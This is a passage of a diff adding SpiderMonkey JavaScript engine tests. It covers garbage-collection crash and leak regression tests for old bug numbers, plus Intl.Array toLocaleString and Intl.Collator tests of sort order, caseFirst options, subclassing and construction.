+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/GC/regress-352606.js b/js/src/tests/non262/GC/regress-352606.js
new file mode 100644
index 0000000000..61ad848f8b
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-352606.js
@@ -0,0 +1,25 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 352606;
+var summary = 'Do not crash involving post decrement';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ y = ({toString: gc}); new Function("y--;")()
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/GC/regress-383269-01.js b/js/src/tests/non262/GC/regress-383269-01.js
new file mode 100644
index 0000000000..6802e1460f
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-383269-01.js
@@ -0,0 +1,59 @@
+// |reftest| random -- unreliable - based on GC timing
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 383269;
+var summary = 'Leak related to arguments object';
+var actual = 'No Leak';
+var expect = 'No Leak';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function generate_big_object_graph()
+ {
+ var root = {};
+ f(root, 17);
+ return root;
+ function f(parent, depth) {
+ if (depth == 0)
+ return;
+ --depth;
+ f(parent.a = {}, depth);
+ f(parent.b = {}, depth);
+ }
+ }
+
+ function outer() { var x = arguments; return function inner() { return x }; }
+
+ function timed_gc()
+ {
+ var t1 = Date.now();
+ gc();
+ return Date.now() - t1;
+ }
+
+ outer(1);
+ gc();
+ var base_time = timed_gc();
+
+ var f = outer(generate_big_object_graph());
+ f = null;
+ gc();
+ var time = timed_gc();
+
+ if (time > (base_time + 1) * 3)
+ actual = "generate_big_object_graph() leaked, base_gc_time="+base_time+", last_gc_time="+time;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/GC/regress-383269-02.js b/js/src/tests/non262/GC/regress-383269-02.js
new file mode 100644
index 0000000000..67c31bfc0e
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-383269-02.js
@@ -0,0 +1,63 @@
+// |reftest| random -- unreliable - based on GC timing
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 383269;
+var summary = 'Leak related to arguments object';
+var actual = 'No Leak';
+var expect = 'No Leak';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function generate_big_object_graph()
+ {
+ var root = {};
+ f(root, 17);
+ return root;
+ function f(parent, depth) {
+ if (depth == 0)
+ return;
+ --depth;
+ f(parent.a = {}, depth);
+ f(parent.b = {}, depth);
+ }
+ }
+
+ function f(obj) {
+ with (obj)
+ return arguments;
+ }
+
+ function timed_gc()
+ {
+ var t1 = Date.now();
+ gc();
+ return Date.now() - t1;
+ }
+
+ var x = f({});
+ x = null;
+ gc();
+ var base_time = timed_gc();
+
+ x = f(generate_big_object_graph());
+ x = null;
+ gc();
+ var time = timed_gc();
+
+ if (time > (base_time + 10) * 3)
+ actual = "generate_big_object_graph() leaked, base_gc_time="+base_time+", last_gc_time="+time;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/GC/regress-390078.js b/js/src/tests/non262/GC/regress-390078.js
new file mode 100644
index 0000000000..251fdc82e2
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-390078.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 390078;
+var summary = 'GC hazard with JSstackFrame.argv[-1]';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var a = new Array(10*1000);
+ a[0] = { toString: function() { gc(); return ".*9"; }};;
+ a[1] = "g";
+
+ for (var i = 0; i != 10*1000; ++i) {
+ String(new Number(123456789));
+ }
+
+ "".match.apply(123456789, a);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/GC/regress-418128.js b/js/src/tests/non262/GC/regress-418128.js
new file mode 100644
index 0000000000..77f9b2c78c
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-418128.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 418128;
+var summary = 'GC hazard with ++/--';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var obj = {};
+ var id = { toString: function() { return ""+Math.pow(2, 0.1); } }
+ obj[id] = { valueOf: unrooter };
+ print(obj[id]++);
+ gc();
+
+ function unrooter()
+ {
+ delete obj[id];
+ gc();
+ return 10;
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/GC/regress-440558.js b/js/src/tests/non262/GC/regress-440558.js
new file mode 100644
index 0000000000..3daef0f146
--- /dev/null
+++ b/js/src/tests/non262/GC/regress-440558.js
@@ -0,0 +1,34 @@
+// |reftest| skip-if(Android)
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 440558;
+var summary = 'Do not assert: *flagp != GCF_FINAL';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ print('Note: this test requires that javascript.options.gczeal ' +
+ 'be set to 2 prior to the browser start');
+
+ m = function(a, b) {
+ if (++i < 10) {
+ }
+ };
+ e = function(a, b) {
+ };
+
+ reportCompare(expect, actual, summary);
+}
+
diff --git a/js/src/tests/non262/GC/shell.js b/js/src/tests/non262/GC/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/GC/shell.js
diff --git a/js/src/tests/non262/Intl/Array/shell.js b/js/src/tests/non262/Intl/Array/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Intl/Array/shell.js
diff --git a/js/src/tests/non262/Intl/Array/toLocaleString-date.js b/js/src/tests/non262/Intl/Array/toLocaleString-date.js
new file mode 100644
index 0000000000..7711c60643
--- /dev/null
+++ b/js/src/tests/non262/Intl/Array/toLocaleString-date.js
@@ -0,0 +1,53 @@
+if (typeof Intl === "object") {
+ const localeSep = [,,].toLocaleString();
+
+ const date = new Date(Date.UTC(2012, 11, 12, 3, 0, 0));
+
+ assertEq([date].toLocaleString("en-us", {timeZone: "UTC"}), "12/12/2012, 3:00:00 AM");
+ assertEq([date].toLocaleString(["de", "en"], {timeZone: "UTC"}), "12.12.2012, 03:00:00");
+ assertEq([date].toLocaleString("th-th", {timeZone: "UTC"}), "12/12/2555 03:00:00");
+ assertEq([date].toLocaleString("th-th-u-nu-thai", {timeZone: "UTC"}), "๑๒/๑๒/๒๕๕๕ ๐๓:๐๐:๐๐");
+
+ const sampleValues = [
+ date, new Date(0),
+ ];
+ const sampleLocales = [
+ void 0,
+ "en",
+ "th-th-u-nu-thai",
+ "ja-jp",
+ "ar-ma-u-ca-islamicc",
+ ["tlh", "de"],
+ ];
+ const numericFormatOptions = {
+ timeZone: "UTC",
+ year: "numeric", month: "numeric", day: "numeric",
+ hour: "numeric", minute: "numeric", second: "numeric",
+ };
+ const longFormatOptions = {
+ timeZone: "UTC",
+ year: "numeric", month: "long", day: "numeric",
+ hour: "numeric", minute: "numeric", second: "numeric"
+ };
+ const sampleOptions = [
+ {timeZone: "UTC"},
+ longFormatOptions,
+ ];
+
+ for (let locale of sampleLocales) {
+ for (let options of sampleOptions) {
+ let dtfOptions;
+ if (options === longFormatOptions) {
+ dtfOptions = longFormatOptions;
+ } else {
+ dtfOptions = numericFormatOptions;
+ }
+ let dtf = new Intl.DateTimeFormat(locale, dtfOptions);
+ let expected = sampleValues.map(dtf.format).join(localeSep);
+ assertEq(sampleValues.toLocaleString(locale, options), expected);
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/Array/toLocaleString-number.js b/js/src/tests/non262/Intl/Array/toLocaleString-number.js
new file mode 100644
index 0000000000..6ca8a17837
--- /dev/null
+++ b/js/src/tests/non262/Intl/Array/toLocaleString-number.js
@@ -0,0 +1,34 @@
+if (typeof Intl === "object") {
+ const localeSep = [,,].toLocaleString();
+
+ assertEq([NaN].toLocaleString("ar"), "ليس رقم");
+ assertEq([NaN].toLocaleString(["zh-hant", "ar"]), "非數值");
+ assertEq([Infinity].toLocaleString("dz"), "གྲངས་མེད");
+ assertEq([-Infinity].toLocaleString(["fr", "en"]), "-∞");
+
+ const sampleValues = [
+ -0, +0, -1, +1, -2, +2, -0.5, +0.5,
+ ];
+ const sampleLocales = [
+ void 0,
+ "en",
+ "th-th-u-nu-thai",
+ ["tlh", "de"],
+ ];
+ const sampleOptions = [
+ void 0,
+ {},
+ {style: "percent"},
+ {style: "currency", currency: "USD", minimumIntegerDigits: 4},
+ ];
+ for (let locale of sampleLocales) {
+ for (let options of sampleOptions) {
+ let nf = new Intl.NumberFormat(locale, options);
+ let expected = sampleValues.map(nf.format).join(localeSep);
+ assertEq(sampleValues.toLocaleString(locale, options), expected);
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/Array/toLocaleString.js b/js/src/tests/non262/Intl/Array/toLocaleString.js
new file mode 100644
index 0000000000..f94e531f89
--- /dev/null
+++ b/js/src/tests/non262/Intl/Array/toLocaleString.js
@@ -0,0 +1,35 @@
+if (typeof Intl === "object") {
+ const localeSep = [,,].toLocaleString();
+
+ // Missing arguments are passed as |undefined|.
+ const objNoArgs = {
+ toLocaleString() {
+ assertEq(arguments.length, 2);
+ assertEq(arguments[0], undefined);
+ assertEq(arguments[1], undefined);
+ return "pass";
+ }
+ };
+ // - Single element case.
+ assertEq([objNoArgs].toLocaleString(), "pass");
+ // - More than one element.
+ assertEq([objNoArgs, objNoArgs].toLocaleString(), "pass" + localeSep + "pass");
+
+ // Ensure "locales" and "options" arguments are passed to the array elements.
+ const locales = {}, options = {};
+ const objWithArgs = {
+ toLocaleString() {
+ assertEq(arguments.length, 2);
+ assertEq(arguments[0], locales);
+ assertEq(arguments[1], options);
+ return "pass";
+ }
+ };
+ // - Single element case.
+ assertEq([objWithArgs].toLocaleString(locales, options), "pass");
+ // - More than one element.
+ assertEq([objWithArgs, objWithArgs].toLocaleString(locales, options), "pass" + localeSep + "pass");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/Collator/browser.js b/js/src/tests/non262/Intl/Collator/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Intl/Collator/browser.js
diff --git a/js/src/tests/non262/Intl/Collator/call.js b/js/src/tests/non262/Intl/Collator/call.js
new file mode 100644
index 0000000000..089764a2cb
--- /dev/null
+++ b/js/src/tests/non262/Intl/Collator/call.js
@@ -0,0 +1,74 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+function IsIntlService(c) {
+ return typeof c === "function" &&
+ c.hasOwnProperty("prototype") &&
+ c.prototype.hasOwnProperty("resolvedOptions");
+}
+
+function IsObject(o) {
+ return Object(o) === o;
+}
+
+function thisValues() {
+ const intlConstructors = Object.getOwnPropertyNames(Intl).map(name => Intl[name]).filter(IsIntlService);
+
+ return [
+ // Primitive values.
+ ...[undefined, null, true, "abc", Symbol(), 123],
+
+ // Object values.
+ ...[{}, [], /(?:)/, function(){}, new Proxy({}, {})],
+
+ // Intl objects.
+ ...[].concat(...intlConstructors.map(ctor => {
+ let args = [];
+ if (ctor === Intl.DisplayNames) {
+ // Intl.DisplayNames can't be constructed without any arguments.
+ args = [undefined, {type: "language"}];
+ }
+
+ return [
+ // Instance of an Intl constructor.
+ new ctor(...args),
+
+ // Instance of a subclassed Intl constructor.
+ new class extends ctor {}(...args),
+
+ // Object inheriting from an Intl constructor prototype.
+ Object.create(ctor.prototype),
+
+ // Intl object not inheriting from its default prototype.
+ Object.setPrototypeOf(new ctor(...args), Object.prototype),
+ ];
+ })),
+ ];
+}
+
+// Invoking [[Call]] for Intl.Collator always returns a new Collator instance.
+for (let thisValue of thisValues()) {
+ let obj = Intl.Collator.call(thisValue);
+ assertEq(Object.is(obj, thisValue), false);
+ assertEq(obj instanceof Intl.Collator, true);
+
+ // Ensure Intl.[[FallbackSymbol]] wasn't installed on |thisValue|.
+ if (IsObject(thisValue))
+ assertEqArray(Object.getOwnPropertySymbols(thisValue), []);
+}
+
+// Intl.Collator doesn't use the legacy Intl constructor compromise semantics.
+for (let thisValue of thisValues()) {
+ // Ensure instanceof operator isn't invoked for Intl.Collator.
+ Object.defineProperty(Intl.Collator, Symbol.hasInstance, {
+ get() {
+ assertEq(false, true, "@@hasInstance operator called");
+ }, configurable: true
+ });
+ let obj = Intl.Collator.call(thisValue);
+ delete Intl.Collator[Symbol.hasInstance];
+ assertEq(Object.is(obj, thisValue), false);
+ assertEq(obj instanceof Intl.Collator, true);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/Collator/caseFirst.js b/js/src/tests/non262/Intl/Collator/caseFirst.js
new file mode 100644
index 0000000000..d183c8fdd5
--- /dev/null
+++ b/js/src/tests/non262/Intl/Collator/caseFirst.js
@@ -0,0 +1,197 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Locales which use caseFirst=off for the standard (sort) collation type.
+const defaultLocales = Intl.Collator.supportedLocalesOf(["en", "de", "es", "sv", "ar", "zh", "ja"]);
+
+// Locales which use caseFirst=upper for the standard (sort) collation type.
+const upperFirstLocales = Intl.Collator.supportedLocalesOf(["cu", "da", "mt"]);
+
+// Default collation for zh (pinyin) reorders "á" before "a" at secondary strength level.
+const accentReordered = ["zh"];
+
+const allLocales = [...defaultLocales, ...upperFirstLocales];
+
+
+// Check default "caseFirst" option is resolved correctly.
+for (let locale of defaultLocales) {
+ let col = new Intl.Collator(locale, {usage: "sort"});
+ assertEq(col.resolvedOptions().caseFirst, "false");
+}
+for (let locale of upperFirstLocales) {
+ let col = new Intl.Collator(locale, {usage: "sort"});
+ assertEq(col.resolvedOptions().caseFirst, "upper");
+}
+for (let locale of allLocales) {
+ let col = new Intl.Collator(locale, {usage: "search"});
+ assertEq(col.resolvedOptions().caseFirst, "false");
+}
+
+
+const collOptions = {usage: "sort"};
+const primary = {sensitivity: "base"};
+const secondary = {sensitivity: "accent"};
+const tertiary = {sensitivity: "variant"};
+const caseLevel = {sensitivity: "case"};
+const strengths = [primary, secondary, tertiary, caseLevel];
+
+// "A" is sorted after "a" when caseFirst=off is the default and strength is tertiary.
+for (let locale of defaultLocales) {
+ let col = new Intl.Collator(locale, Object.assign({}, collOptions, tertiary));
+
+ assertEq(col.compare("A", "a"), 1);
+ assertEq(col.compare("a", "A"), -1);
+}
+for (let locale of defaultLocales.filter(loc => !accentReordered.includes(loc))) {
+ let col = new Intl.Collator(locale, Object.assign({}, collOptions, tertiary));
+
+ assertEq(col.compare("A", "á"), -1);
+ assertEq(col.compare("á", "A"), 1);
+}
+
+// Also sorted after "a" with the sensitivity=case collator.
+for (let locale of defaultLocales) {
+ let col = new Intl.Collator(locale, Object.assign({}, collOptions, caseLevel));
+
+ assertEq(col.compare("A", "a"), 1);
+ assertEq(col.compare("a", "A"), -1);
+
+ assertEq(col.compare("A", "á"), 1);
+ assertEq(col.compare("á", "A"), -1);
+}
+
+
+// "A" is sorted before "a" when caseFirst=upper is the default and strength is tertiary.
+for (let locale of upperFirstLocales) {
+ let col = new Intl.Collator(locale, Object.assign({}, collOptions, tertiary));
+
+ assertEq(col.compare("A", "a"), -1);
+ assertEq(col.compare("a", "A"), 1);
+
+ assertEq(col.compare("A", "á"), -1);
+ assertEq(col.compare("á", "A"), 1);
+}
+
+// Also sorted before "a" with the sensitivity=case collator.
+for (let locale of upperFirstLocales) {
+ let col = new Intl.Collator(locale, Object.assign({}, collOptions, caseLevel));
+
+ assertEq(col.compare("A", "a"), -1);
+ assertEq(col.compare("a", "A"), 1);
+
+ assertEq(col.compare("A", "á"), -1);
+ assertEq(col.compare("á", "A"), 1);
+}
+
+
+// caseFirst=upper doesn't change the sort order when strength is below tertiary.
+for (let locale of allLocales) {
+ let col = new Intl.Collator(locale, Object.assign({}, collOptions, secondary));
+
+ assertEq(col.compare("A", "a"), 0);
+ assertEq(col.compare("a", "A"), 0);
+}
+for (let locale of allLocales.filter(loc => !accentReordered.includes(loc))) {
+ let col = new Intl.Collator(locale, Object.assign({}, collOptions, secondary));
+
+ assertEq(col.compare("A", "á"), -1);
+ assertEq(col.compare("á", "A"), 1);
+}
+
+for (let locale of allLocales) {
+ let col = new Intl.Collator(locale, Object.assign({}, collOptions, primary));
+
+ assertEq(col.compare("A", "a"), 0);
+ assertEq(col.compare("a", "A"), 0);
+
+ assertEq(col.compare("A", "á"), 0);
+ assertEq(col.compare("á", "A"), 0);
+}
+
+
+// caseFirst=upper doesn't change the sort order when there's a primary difference.
+for (let locale of allLocales) {
+ for (let strength of strengths) {
+ let col = new Intl.Collator(locale, Object.assign({}, collOptions, strength));
+
+ assertEq(col.compare("A", "b"), -1);
+ assertEq(col.compare("a", "B"), -1);
+ }
+}
+
+
+// caseFirst set through Unicode extension tag.
+for (let locale of allLocales) {
+ let colKfFalse = new Intl.Collator(locale + "-u-kf-false", {});
+ let colKfLower = new Intl.Collator(locale + "-u-kf-lower", {});
+ let colKfUpper = new Intl.Collator(locale + "-u-kf-upper", {});
+
+ assertEq(colKfFalse.resolvedOptions().caseFirst, "false");
+ assertEq(colKfFalse.compare("A", "a"), 1);
+ assertEq(colKfFalse.compare("a", "A"), -1);
+
+ assertEq(colKfLower.resolvedOptions().caseFirst, "lower");
+ assertEq(colKfLower.compare("A", "a"), 1);
+ assertEq(colKfLower.compare("a", "A"), -1);
+
+ assertEq(colKfUpper.resolvedOptions().caseFirst, "upper");
+ assertEq(colKfUpper.compare("A", "a"), -1);
+ assertEq(colKfUpper.compare("a", "A"), 1);
+}
+
+
+// caseFirst set through options value.
+for (let locale of allLocales) {
+ let colKfFalse = new Intl.Collator(locale, {caseFirst: "false"});
+ let colKfLower = new Intl.Collator(locale, {caseFirst: "lower"});
+ let colKfUpper = new Intl.Collator(locale, {caseFirst: "upper"});
+
+ assertEq(colKfFalse.resolvedOptions().caseFirst, "false");
+ assertEq(colKfFalse.compare("A", "a"), 1);
+ assertEq(colKfFalse.compare("a", "A"), -1);
+
+ assertEq(colKfLower.resolvedOptions().caseFirst, "lower");
+ assertEq(colKfLower.compare("A", "a"), 1);
+ assertEq(colKfLower.compare("a", "A"), -1);
+
+ assertEq(colKfUpper.resolvedOptions().caseFirst, "upper");
+ assertEq(colKfUpper.compare("A", "a"), -1);
+ assertEq(colKfUpper.compare("a", "A"), 1);
+}
+
+
+// Test Unicode extension tag and options value, the latter should win.
+for (let locale of allLocales) {
+ let colKfFalse = new Intl.Collator(locale + "-u-kf-upper", {caseFirst: "false"});
+ let colKfLower = new Intl.Collator(locale + "-u-kf-upper", {caseFirst: "lower"});
+ let colKfUpper = new Intl.Collator(locale + "-u-kf-lower", {caseFirst: "upper"});
+
+ assertEq(colKfFalse.resolvedOptions().caseFirst, "false");
+ assertEq(colKfFalse.compare("A", "a"), 1);
+ assertEq(colKfFalse.compare("a", "A"), -1);
+
+ assertEq(colKfLower.resolvedOptions().caseFirst, "lower");
+ assertEq(colKfLower.compare("A", "a"), 1);
+ assertEq(colKfLower.compare("a", "A"), -1);
+
+ assertEq(colKfUpper.resolvedOptions().caseFirst, "upper");
+ assertEq(colKfUpper.compare("A", "a"), -1);
+ assertEq(colKfUpper.compare("a", "A"), 1);
+}
+
+// Ensure languages are properly detected when additional subtags are present.
+if (Intl.Collator.supportedLocalesOf("da").length !== 0) {
+ assertEq(new Intl.Collator("da-DK", {usage: "sort"}).resolvedOptions().caseFirst, "upper");
+ assertEq(new Intl.Collator("da-Latn-DK", {usage: "sort"}).resolvedOptions().caseFirst, "upper");
+}
+if (Intl.Collator.supportedLocalesOf("mt").length !== 0) {
+ assertEq(new Intl.Collator("mt-MT", {usage: "sort"}).resolvedOptions().caseFirst, "upper");
+ assertEq(new Intl.Collator("mt-Latn-MT", {usage: "sort"}).resolvedOptions().caseFirst, "upper");
+}
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Intl/Collator/compare.js b/js/src/tests/non262/Intl/Collator/compare.js
new file mode 100644
index 0000000000..6f57c722dd
--- /dev/null
+++ b/js/src/tests/non262/Intl/Collator/compare.js
@@ -0,0 +1,137 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Tests the compare function with a diverse set of locales and options.
+
+var input = [
+ "Argentina",
+ "Oerlikon",
+ "Offenbach",
+ "Sverige",
+ "Vaticano",
+ "Zimbabwe",
+ "la France",
+ "¡viva España!",
+ "Österreich",
+ "中国",
+ "日本",
+ "한국",
+];
+
+var collator, expected;
+
+function assertEqualArray(actual, expected, collator) {
+ var description = JSON.stringify(collator.resolvedOptions());
+ assertEq(actual.length, expected.length, "array length, " + description);
+ for (var i = 0; i < actual.length; i++) {
+ assertEq(actual[i], expected[i], "element " + i + ", " + description);
+ }
+}
+
+
+// Locale en-US; default options.
+collator = new Intl.Collator("en-US");
+expected = [
+ "¡viva España!",
+ "Argentina",
+ "la France",
+ "Oerlikon",
+ "Offenbach",
+ "Österreich",
+ "Sverige",
+ "Vaticano",
+ "Zimbabwe",
+ "한국",
+ "中国",
+ "日本",
+];
+assertEqualArray(input.sort(collator.compare), expected, collator);
+
+// Locale sv-SE; default options.
+// Swedish treats "Ö" as a separate character, which sorts after "Z".
+collator = new Intl.Collator("sv-SE");
+expected = [
+ "¡viva España!",
+ "Argentina",
+ "la France",
+ "Oerlikon",
+ "Offenbach",
+ "Sverige",
+ "Vaticano",
+ "Zimbabwe",
+ "Österreich",
+ "한국",
+ "中国",
+ "日本",
+];
+assertEqualArray(input.sort(collator.compare), expected, collator);
+
+// Locale sv-SE; ignore punctuation.
+collator = new Intl.Collator("sv-SE", {ignorePunctuation: true});
+expected = [
+ "Argentina",
+ "la France",
+ "Oerlikon",
+ "Offenbach",
+ "Sverige",
+ "Vaticano",
+ "¡viva España!",
+ "Zimbabwe",
+ "Österreich",
+ "한국",
+ "中国",
+ "日本",
+];
+assertEqualArray(input.sort(collator.compare), expected, collator);
+
+// Locale de-DE; default options.
+// In German standard sorting, umlauted characters are treated as variants
+// of their base characters: ä ≅ a, ö ≅ o, ü ≅ u.
+collator = new Intl.Collator("de-DE");
+expected = [
+ "¡viva España!",
+ "Argentina",
+ "la France",
+ "Oerlikon",
+ "Offenbach",
+ "Österreich",
+ "Sverige",
+ "Vaticano",
+ "Zimbabwe",
+ "한국",
+ "中国",
+ "日本",
+];
+assertEqualArray(input.sort(collator.compare), expected, collator);
+
+// Locale de-DE; phonebook sort order.
+// In German phonebook sorting, umlauted characters are expanded to two-vowel
+// sequences: ä → ae, ö → oe, ü → ue.
+collator = new Intl.Collator("de-DE-u-co-phonebk");
+expected = [
+ "¡viva España!",
+ "Argentina",
+ "la France",
+ "Oerlikon",
+ "Österreich",
+ "Offenbach",
+ "Sverige",
+ "Vaticano",
+ "Zimbabwe",
+ "한국",
+ "中国",
+ "日本",
+];
+assertEqualArray(input.sort(collator.compare), expected, collator);
+
+
+// Test the .name property of the "compare" getter.
+var desc = Object.getOwnPropertyDescriptor(Intl.Collator.prototype, "compare");
+assertEq(desc !== undefined, true);
+assertEq(typeof desc.get, "function");
+assertEq(desc.get.name, "get compare");
+
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Intl/Collator/construct-newtarget.js b/js/src/tests/non262/Intl/Collator/construct-newtarget.js
new file mode 100644
index 0000000000..5db1abf373
--- /dev/null
+++ b/js/src/tests/non262/Intl/Collator/construct-newtarget.js
@@ -0,0 +1,81 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+// Test subclassing %Intl.Collator% works correctly.
+class MyCollator extends Intl.Collator {}
+
+var obj = new MyCollator();
+assertEq(obj instanceof MyCollator, true);
+assertEq(obj instanceof Intl.Collator, true);
+assertEq(Object.getPrototypeOf(obj), MyCollator.prototype);
+
+obj = Reflect.construct(MyCollator, []);
+assertEq(obj instanceof MyCollator, true);
+assertEq(obj instanceof Intl.Collator, true);
+assertEq(Object.getPrototypeOf(obj), MyCollator.prototype);
+
+obj = Reflect.construct(MyCollator, [], MyCollator);
+assertEq(obj instanceof MyCollator, true);
+assertEq(obj instanceof Intl.Collator, true);
+assertEq(Object.getPrototypeOf(obj), MyCollator.prototype);
+
+obj = Reflect.construct(MyCollator, [], Intl.Collator);
+assertEq(obj instanceof MyCollator, false);
+assertEq(obj instanceof Intl.Collator, true);
+assertEq(Object.getPrototypeOf(obj), Intl.Collator.prototype);
+
+
+// Set a different constructor as NewTarget.
+obj = Reflect.construct(MyCollator, [], Array);
+assertEq(obj instanceof MyCollator, false);
+assertEq(obj instanceof Intl.Collator, false);
+assertEq(obj instanceof Array, true);
+assertEq(Object.getPrototypeOf(obj), Array.prototype);
+
+obj = Reflect.construct(Intl.Collator, [], Array);
+assertEq(obj instanceof Intl.Collator, false);
+assertEq(obj instanceof Array, true);
+assertEq(Object.getPrototypeOf(obj), Array.prototype);
+
+
+// The prototype defaults to %CollatorPrototype% if null.
+function NewTargetNullPrototype() {}
+NewTargetNullPrototype.prototype = null;
+
+obj = Reflect.construct(Intl.Collator, [], NewTargetNullPrototype);
+assertEq(obj instanceof Intl.Collator, true);
+assertEq(Object.getPrototypeOf(obj), Intl.Collator.prototype);
+
+obj = Reflect.construct(MyCollator, [], NewTargetNullPrototype);
+assertEq(obj instanceof MyCollator, false);
+assertEq(obj instanceof Intl.Collator, true);
+assertEq(Object.getPrototypeOf(obj), Intl.Collator.prototype);
+
+
+// "prototype" property is retrieved exactly once.
+var trapLog = [], getLog = [];
+var ProxiedConstructor = new Proxy(Intl.Collator, new Proxy({
+ get(target, propertyKey, receiver) {
+ getLog.push(propertyKey);
+ return Reflect.get(target, propertyKey, receiver);
+ }
+}, {
+ get(target, propertyKey, receiver) {
+ trapLog.push(propertyKey);
+ return Reflect.get(target, propertyKey, receiver);
+ }
+}));
+
+obj = Reflect.construct(Intl.Collator, [], ProxiedConstructor);
+assertEqArray(trapLog, ["get"]);
+assertEqArray(getLog, ["prototype"]);
+assertEq(obj instanceof Intl.Collator, true);
+assertEq(Object.getPrototypeOf(obj), Intl.Collator.prototype);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/Collator/cross-compartment.js b/js/src/tests/non262/Intl/Collator/cross-compartment.js
new file mode 100644
index 0000000000..a8cf3134ca
--- /dev/null
+++ b/js/src/tests/non262/Intl/Collator/cross-compartment.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+var otherGlobal = newGlobal();
+
+var collator = new Intl.Collator();
+var ccwCollator = new otherGlobal.Intl.Collator();
+
+// Test Intl.Collator.prototype.compare with a CCW object.
